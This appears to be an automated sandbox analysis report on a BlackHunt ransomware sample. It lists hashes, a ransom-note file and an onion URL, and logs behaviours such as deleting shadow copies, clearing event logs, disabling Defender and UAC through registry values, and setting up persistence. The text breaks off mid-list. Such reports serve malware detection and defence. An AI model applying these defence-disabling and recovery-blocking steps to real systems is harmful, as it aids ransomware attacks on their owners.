Analysis
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max time kernel
122s -
max time network
129s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
18/01/2024, 22:32
Static task
static1
Behavioral task
behavioral1
Sample
11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe
Resource
win10v2004-20231215-en
General
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Target
11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe
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Size
707KB
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MD5
f51f61f35d5627062c69f4dd39b2cd3f
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SHA1
0308a1ae57d965c3a3f82e2d14661c9afbb6f26b
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SHA256
11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530
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SHA512
28cc1886573cfd753c57655622aaa6c200597878af0d9c52784d074035958256d66a53707c7700e59f4543d6fe9d35707d01a37dfcf214df44537f50d65ec4d1
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SSDEEP
6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1K8Mvnh:6uaTmkZJ+naie5OTamgEoKxLWxSh
Malware Config
Extracted
C:\ProgramData\#BlackHunt_ReadMe.hta
http-equiv="x-ua-compatible"
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
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Deletes NTFS Change Journal 2 TTPs 2 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 2816 fsutil.exe 2072 fsutil.exe -
description ioc Process Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection wmiprvse.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" wmiprvse.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe -
Clears Windows event logs 1 TTPs 5 IoCs
pid Process 2104 wevtutil.exe 2880 wevtutil.exe 2520 wevtutil.exe 1284 wevtutil.exe 1568 wevtutil.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
pid Process 2476 bcdedit.exe 3056 bcdedit.exe 760 bcdedit.exe 1008 bcdedit.exe -
Renames multiple (2885) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
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pid Process 2520 wbadmin.exe 948 wbadmin.exe -
Disables Task Manager via registry modification
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Disables use of System Restore points 1 TTPs
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Deletes itself 1 IoCs
pid Process 2472 cmd.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe -
Enumerates connected drives 3 TTPs 27 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\U: 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File opened (read-only) \??\P: 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File opened (read-only) \??\Z: 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\E: 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File opened (read-only) \??\S: 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File opened (read-only) \??\H: 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File opened (read-only) \??\B: 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File opened (read-only) \??\M: 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File opened (read-only) \??\Q: 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File opened (read-only) \??\I: 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File opened (read-only) \??\N: 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File opened (read-only) \??\W: 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File opened (read-only) \??\G: 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File opened (read-only) \??\K: 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File opened (read-only) \??\X: 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File opened (read-only) \??\V: 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\R: 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File opened (read-only) \??\T: 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File opened (read-only) \??\J: 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File opened (read-only) \??\L: 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File opened (read-only) \??\Y: 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File opened (read-only) \??\O: 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File opened (read-only) \??\A: 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File opened (read-only) \??\M: fsutil.exe File opened (read-only) \??\F: fsutil.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 2 ip-api.com -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg" 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\Java\jre7\lib\deploy\messages_it.properties 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Africa\Casablanca 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Detroit 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Karachi 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\modules\common.luac 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Argentina\Jujuy 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_ja_4.4.0.v20140623020002\#BlackHunt_Private.key 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.garbagecollector_1.0.200.v20131115-1210.jar 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.expressions_3.4.600.v20140128-0851.jar 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File created C:\Program Files\VideoLAN\VLC\locale\he\LC_MESSAGES\#BlackHunt_Private.key 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File created C:\Program Files\VideoLAN\VLC\locale\mai\#BlackHunt_ReadMe.hta 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File created C:\Program Files\VideoLAN\VLC\locale\zh_TW\LC_MESSAGES\#BlackHunt_ReadMe.txt 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\jquery-ui-1.8.13.custom.css 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyLocale_es.jar 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.ssl.feature_1.0.0.v20140827-1444\#BlackHunt_ReadMe.hta 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\#BlackHunt_Private.key 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\requests\vlm.xml 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Bougainville 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.touchpoint.eclipse_2.1.200.v20140512-1650.jar 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Riyadh89 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\#BlackHunt_ReadMe.txt 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File created C:\Program Files\VideoLAN\VLC\locale\zh_CN\LC_MESSAGES\#BlackHunt_ReadMe.txt 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\#BlackHunt_ReadMe.hta 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File opened for modification C:\Program Files\DVD Maker\Shared\DissolveAnother.png 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.rcp.feature_1.2.0.v20140523-0116\#BlackHunt_Private.key 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File created C:\Program Files\VideoLAN\VLC\locale\fa\#BlackHunt_ReadMe.hta 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File created C:\Program Files\VideoLAN\VLC\locale\sr\#BlackHunt_ReadMe.txt 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File created C:\Program Files\VideoLAN\VLC\plugins\demux\#BlackHunt_ReadMe.hta 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\Accra 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Kabul 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Volgograd 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.frameworkadmin_2.0.100.v20131209-2144.jar 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File created C:\Program Files\VideoLAN\VLC\locale\hr\#BlackHunt_ReadMe.hta 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ml\LC_MESSAGES\vlc.mo 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\#BlackHunt_ReadMe.hta 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\bin\server\#BlackHunt_Private.key 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\SportsScenesBackground_PAL.wmv 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File opened for modification C:\Program Files\Java\jre7\lib\jce.jar 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\London 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File created C:\Program Files (x86)\Adobe\#BlackHunt_ReadMe.hta 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File created C:\Program Files\DVD Maker\it-IT\#BlackHunt_Private.key 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\NavigationUp_SelectionSubpicture.png 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.core.feature_1.3.0.v20140523-0116\license.html 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Montreal 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Pitcairn 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\include\jdwpTransport.h 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.rcp.product_5.5.0.165303\#BlackHunt_ReadMe.hta 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-charts.jar 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File opened for modification C:\Program Files\Java\jre7\lib\ext\access-bridge-64.jar 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\MainMenuButtonIcon.png 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Tarawa 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-modules-keyring-fallback.xml 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.ecore_2.10.1.v20140901-1043\feature.xml 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-progress-ui_zh_CN.jar 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File created C:\Program Files\VideoLAN\VLC\locale\as_IN\LC_MESSAGES\#BlackHunt_ReadMe.txt 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Berlin 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.flightrecorder_5.5.0.165303\#BlackHunt_ReadMe.hta 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\html\#BlackHunt_ReadMe.txt 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\asl-v20.txt 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\META-INF\#BlackHunt_Private.key 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\org-netbeans-lib-profiler-ui.jar 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\flavormap.properties 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-core-kit.jar 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Riyadh87 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2416 schtasks.exe -
Interacts with shadow copies 2 TTPs 6 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 2620 vssadmin.exe 1120 vssadmin.exe 1572 vssadmin.exe 1880 vssadmin.exe 2748 vssadmin.exe 2424 vssadmin.exe -
Kills process with taskkill 1 IoCs
pid Process 684 taskkill.exe -
Modifies registry class 8 IoCs
description ioc Process Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 vssadmin.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ vssadmin.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 schtasks.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ schtasks.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 2760 PING.EXE -
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
pid Process 2564 mshta.exe -
Suspicious use of AdjustPrivilegeToken 24 IoCs
description pid Process Token: SeDebugPrivilege 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe Token: SeRestorePrivilege 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe Token: SeBackupPrivilege 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe Token: SeTakeOwnershipPrivilege 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe Token: SeAuditPrivilege 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe Token: SeSecurityPrivilege 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe Token: SeIncBasePriorityPrivilege 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe Token: SeBackupPrivilege 1948 vssvc.exe Token: SeRestorePrivilege 1948 vssvc.exe Token: SeAuditPrivilege 1948 vssvc.exe Token: SeBackupPrivilege 1132 wbengine.exe Token: SeRestorePrivilege 1132 wbengine.exe Token: SeSecurityPrivilege 1132 wbengine.exe Token: SeSecurityPrivilege 2104 wevtutil.exe Token: SeBackupPrivilege 2104 wevtutil.exe Token: SeSecurityPrivilege 2880 wevtutil.exe Token: SeBackupPrivilege 2880 wevtutil.exe Token: SeSecurityPrivilege 1284 wevtutil.exe Token: SeBackupPrivilege 1284 wevtutil.exe Token: SeSecurityPrivilege 1568 wevtutil.exe Token: SeSecurityPrivilege 2520 wevtutil.exe Token: SeBackupPrivilege 1568 wevtutil.exe Token: SeBackupPrivilege 2520 wevtutil.exe Token: SeDebugPrivilege 684 taskkill.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2052 wrote to memory of 932 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 29 PID 2052 wrote to memory of 932 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 29 PID 2052 wrote to memory of 932 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 29 PID 2052 wrote to memory of 932 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 29 PID 2052 wrote to memory of 1788 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 30 PID 2052 wrote to memory of 1788 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 30 PID 2052 wrote to memory of 1788 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 30 PID 2052 wrote to memory of 1788 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 30 PID 2052 wrote to memory of 2280 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 33 PID 2052 wrote to memory of 2280 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 33 PID 2052 wrote to memory of 2280 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 33 PID 2052 wrote to memory of 2280 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 33 PID 2052 wrote to memory of 2524 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 34 PID 2052 wrote to memory of 2524 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 34 PID 2052 wrote to memory of 2524 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 34 PID 2052 wrote to memory of 2524 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 34 PID 2052 wrote to memory of 2628 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 36 PID 2052 wrote to memory of 2628 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 36 PID 2052 wrote to memory of 2628 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 36 PID 2052 wrote to memory of 2628 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 36 PID 2052 wrote to memory of 3040 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 39 PID 2052 wrote to memory of 3040 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 39 PID 2052 wrote to memory of 3040 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 39 PID 2052 wrote to memory of 3040 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 39 PID 2052 wrote to memory of 2556 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 40 PID 2052 wrote to memory of 2556 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 40 PID 2052 wrote to memory of 2556 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 40 PID 2052 wrote to memory of 2556 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 40 PID 2052 wrote to memory of 2712 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 42 PID 2052 wrote to memory of 2712 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 42 PID 2052 wrote to memory of 2712 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 42 PID 2052 wrote to memory of 2712 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 42 PID 2052 wrote to memory of 2744 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 44 PID 2052 wrote to memory of 2744 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 44 PID 2052 wrote to memory of 2744 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 44 PID 2052 wrote to memory of 2744 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 44 PID 2052 wrote to memory of 2868 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 46 PID 2052 wrote to memory of 2868 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 46 PID 2052 wrote to memory of 2868 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 46 PID 2052 wrote to memory of 2868 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 46 PID 2052 wrote to memory of 2600 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 47 PID 2052 wrote to memory of 2600 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 47 PID 2052 wrote to memory of 2600 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 47 PID 2052 wrote to memory of 2600 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 47 PID 2052 wrote to memory of 2552 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 49 PID 2052 wrote to memory of 2552 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 49 PID 2052 wrote to memory of 2552 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 49 PID 2052 wrote to memory of 